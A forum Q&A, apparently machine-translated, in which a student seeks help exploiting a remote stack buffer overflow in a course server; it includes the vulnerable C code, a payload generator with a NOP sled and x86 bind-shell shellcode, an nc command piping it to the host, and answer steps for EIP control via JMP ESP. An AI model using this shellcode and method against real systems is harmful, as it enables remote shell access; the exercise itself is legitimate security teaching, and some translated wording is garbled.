Need help finding a remote buffer overflow
It is used for class jobs. I’m a bit stuck and I only have some issues to help me keep going. (No cheating for me :p) I think brutal homework for undergraduate classes…
What we should do:
nc compName.cs.myschool.edu 9050
If we type something and then press Ctrl+D, the server listens/echoes.
We need to use that input to hack the server program and create an account with sudo privileges.
The relevant code is as follows:
int main(int argc, char const *argv[])
{
char input[1000];
int sockfd, newsockfd, portno, clilen, val = 1;
struct sockaddr_in serv_addr, cli_addr;
some server code that I don't understand but probably isn't super relevant
dup2(newsockfd, 0); bind stdin
dup2(newsockfd, 1); bind stdout
dup2(newsockfd, 2); bind stderr
bufferCopy( input, 0x1000, stdin );
printf("You entered: %s\n", input );
close(newsockfd);
close(sockfd);
return 0;
}
void bufferCopy( char * input, int inputLen, FILE * file )
{
int i = 0;
int c = 0;
while( (c = fgetc( file )) != EOF && i < inputLen - 2 )
{
input[i++] = c;
}
input[i] = 0;
}
Update:
I know what I need to do :
- No operational sleds (a bunch of 0x90).
- This is followed by the bind, shellcode, (from the book
- It is followed by the return address (the address of the “input” variable) repeated many times
).
Update:
What I’m doing :
- I wrote a file with the following code.
Cat attack code |nc compName.cs.myschool.edu 9090
static const int NUM_NOPS = 800; static const char NOP = 0x90; static const int NUM_ADDRESSES = 800; static char nopSled[800]; char shellcode[] = { // on port 31334 == 0x7a66 "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x66\x66\x53\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80" "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" }; static const char returnAddress[] = {0xbf, 0xff, 0xf4, 0x40}; int i=0; for(i=0; i < NUM_NOPS; i++){ nopSled[i] = NOP; } FILE * pFile; pFile = fopen("attackCode", "w"); fwrite( nopSled, 1, sizeof(nopSled), pFile ); fwrite( shellcode, 1, 92, pFile ); for(i=0; i < NUM_ADDRESSES; i++ ){ fwrite( returnAddress, 1, 4, pFile ); } fclose(pFile);
Update:
What I don’t understand is:
- Returns the position of the pointer in memory…. How can I find it?
- ^ So how long does the No-op part take, or how many times the address is returned repeatedly
- What is the address of the “input” – get different values for printf(%p) and gdb
- Why didn’t anything happen to me… If I write a lot of no op etc, there is not even a segfault.
Any help would be appreciated!
Solution
Typically, you perform the following steps:
- Fuzz test available buffers.
- Figure out how to control EIPs.
- Figure out how to get your shellcode.
As for the first point, you’ve found a way to trigger the overflow (basically any input value larger than 1000 bytes).
Because a buffer overflow on the stack overwrites the data below the buffer address, and because input
is allocated on the stack of the main function frame, some parts of the buffer overwrite the return address of the main
call. To find out which part covers the EIP, use metasploit’s pattern_create and pattern_offset tools .
Now the tricky part may be finding a way to effectively modify the EIP to jump to your shellcode. Use a buffer like this:
AA... AA BBBB CC... CC
The stack when main
returns is as follows:
⋮
0x41414141
0x41414141
0x42424242 <= ESP
0x43434343
0x43434343
⋮
Because return sets the EIP to the value at the top of the stack (in this case, BBBB) and lowers the stack by decrementing the stack pointer, JMP ESP
jumps to the right of shellcode before BBBB
:
⋮
0x41414141
0x41414141
0x42424242
0x43434343 <= ESP,EIP
0x43434343
⋮
To find JMP ESP
instructions, look at the loaded modules/libraries and check them in gdb:
find /b <from addr>, <to addr>, 0xff, 0xe4
Find the address
of a JMP ESP
that you can use to override the return address on the stack to jump to your shellcode.